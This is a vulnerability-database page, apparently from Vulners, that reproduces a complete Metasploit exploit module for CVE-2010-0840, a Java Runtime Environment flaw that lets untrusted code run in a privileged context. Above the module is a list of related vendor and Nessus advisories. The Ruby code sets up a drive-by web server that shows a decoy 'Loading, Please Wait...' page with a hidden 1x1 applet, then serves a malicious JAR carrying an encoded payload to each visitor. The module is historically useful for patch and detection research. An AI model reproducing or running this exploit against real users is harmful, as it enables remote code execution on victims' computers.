Java Statement.invoke() Trusted Method Chain Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Java Statement.invoke() Trusted Method Chain Exploit - Vulnerable Java Runtime Environmen

Reporter	Title	Published	Views	Family All 128
ATTACKERKB	CVE-2010-0840	1 Apr 201000:00	–	attackerkb
Tenable Nessus	CentOS 5 : java-1.6.0-openjdk (CESA-2010:0339)	14 Jun 201000:00	–	nessus
Tenable Nessus	Fedora 12 : java-1.6.0-openjdk-1.6.0.0-37.b17.fc12 (2010-6025)	1 Jul 201000:00	–	nessus
Tenable Nessus	Fedora 11 : java-1.6.0-openjdk-1.6.0.0-34.b17.fc11 (2010-6039)	1 Jul 201000:00	–	nessus
Tenable Nessus	Fedora 13 : java-1.6.0-openjdk-1.6.0.0-37.b17.fc13 (2010-6279)	1 Jul 201000:00	–	nessus
Tenable Nessus	GLSA-201006-18 : Oracle JRE/JDK: Multiple vulnerabilities	4 Jun 201000:00	–	nessus
Tenable Nessus	Mac OS X : Java for Mac OS X 10.5 Update 7	19 May 201000:00	–	nessus
Tenable Nessus	Mac OS X : Java for Mac OS X 10.6 Update 2	19 May 201000:00	–	nessus
Tenable Nessus	Mandriva Linux Security Advisory : java-1.6.0-openjdk (MDVSA-2010:084)	29 Apr 201000:00	–	nessus
Tenable Nessus	Oracle Linux 5 : java-1.6.0-openjdk (ELSA-2010-0339)	12 Jul 201300:00	–	nessus


                                                ##
# $Id: java_trusted_chain.rb 11345 2010-12-15 22:46:22Z egypt $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require &#39;msf/core&#39;
require &#39;rex&#39;

class Metasploit3 &#60; Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	include Msf::Exploit::Remote::BrowserAutopwn
	autopwn_info({ :javascript =&#62; false })

	def initialize( info = {} )

		super( update_info( info,
			&#39;Name&#39;          =&#62; &#39;Java Statement.invoke() Trusted Method Chain Exploit&#39;,
			&#39;Description&#39;   =&#62; %q{
			This module exploits a vulnerability in Java Runtime Environment
			that allows an untrusted method to run in a privileged context.  The
			vulnerability affects version 6 prior to update 19 and version 5
			prior to update 23.
			},
			&#39;License&#39;       =&#62; MSF_LICENSE,
			&#39;Author&#39;        =&#62; [
				&#39;Sami Koivu&#39;, # Discovery
				&#39;Matthias Kaiser&#39;, # PoC
				&#39;egypt&#39; # metasploit module
			],
			&#39;Version&#39;       =&#62; &#39;$Revision: 11345 $&#39;,
			&#39;References&#39;    =&#62;
			[
				[ &#39;CVE&#39;, &#39;2010-0840&#39; ],
				[ &#39;OSVDB&#39;, &#39;63483&#39; ],
				[ &#39;URL&#39;, &#39;http://slightlyrandombrokenthoughts.blogspot.com/2010/04/java-trusted-method-chaining-cve-2010.html&#39; ],
			],
			&#39;Platform&#39;      =&#62; [ &#39;java&#39;, &#39;win&#39;, &#39;linux&#39; ],
			&#39;Payload&#39;       =&#62; { &#39;Space&#39; =&#62; 20480, &#39;BadChars&#39; =&#62; &#39;&#39;, &#39;DisableNops&#39; =&#62; true },
			&#39;Targets&#39;       =&#62;
				[
					[ &#39;Generic (Java Payload)&#39;,
						{
							&#39;Arch&#39; =&#62; ARCH_JAVA,
						}
					],
					[ &#39;Windows Universal&#39;,
						{
							&#39;Arch&#39; =&#62; ARCH_X86,
							&#39;Platform&#39; =&#62; &#39;win&#39;
						}
					],
					[ &#39;Linux x86&#39;,
						{
							&#39;Arch&#39; =&#62; ARCH_X86,
							&#39;Platform&#39; =&#62; &#39;linux&#39;
						}
					]
				],
			&#39;DefaultTarget&#39;  =&#62; 0,
			&#39;DisclosureDate&#39; =&#62; &#39;Mar 31 2010&#39;
			))
	end


	def on_request_uri( cli, request )
		if not request.uri.match(/\.jar$/i)
			if not request.uri.match(/\/$/)
				send_redirect(cli, get_resource() + &#39;/&#39;, &#39;&#39;)
				return
			end

			print_status( &#34;Handling request from #{cli.peerhost}:#{cli.peerport}...&#34; )

			send_response_html( cli, generate_html, { &#39;Content-Type&#39; =&#62; &#39;text/html&#39; } )
			return
		end

		paths = [
			[ &#34;vuln&#34;, &#34;Exploit.class&#34; ],
			[ &#34;vuln&#34;, &#34;Exploit$1.class&#34; ],
			[ &#34;vuln&#34;, &#34;Link.class&#34; ],
		]

		p = regenerate_payload(cli)

		jar  = p.encoded_jar
		paths.each do |path|
			1.upto(path.length - 1) do |idx|
				full = path[0,idx].join(&#34;/&#34;) + &#34;/&#34;
				if !(jar.entries.map{|e|e.name}.include?(full))
					jar.add_file(full, &#39;&#39;)
				end
			end
			fd = File.open(File.join( Msf::Config.install_root, &#34;data&#34;, &#34;exploits&#34;, &#34;cve-2010-0840&#34;, path ), &#34;rb&#34;)
			data = fd.read(fd.stat.size)
			jar.add_file(path.join(&#34;/&#34;), data)
			fd.close
		end

		print_status( &#34;Sending Applet.jar to #{cli.peerhost}:#{cli.peerport}...&#34; )
		send_response( cli, jar.pack, { &#39;Content-Type&#39; =&#62; &#34;application/octet-stream&#34; } )

		handler( cli )
	end

	def generate_html
		html  = &#34;&#60;html&#62;&#60;head&#62;&#60;title&#62;Loading, Please Wait...&#60;/title&#62;&#60;/head&#62;&#34;
		html += &#34;&#60;body&#62;&#60;center&#62;&#60;p&#62;Loading, Please Wait...&#60;/p&#62;&#60;/center&#62;&#34;
		html += &#34;&#60;applet archive=\&#34;Exploit.jar\&#34; code=\&#34;vuln.Exploit.class\&#34; width=\&#34;1\&#34; height=\&#34;1\&#34;&#62;&#34;
		html += &#34;&#60;/applet&#62;&#60;/body&#62;&#60;/html&#62;&#34;
		return html
	end

end

01 Jul 2014 00:00Current

0.2Low risk

Vulners AI Score0.2

EPSS0.92077

java statement.invoke()trusted method chain exploit vulnerability version cve-2010-0840 osvdb-63483 privileged context metasploit framework cross-platform payload exploit.class link.class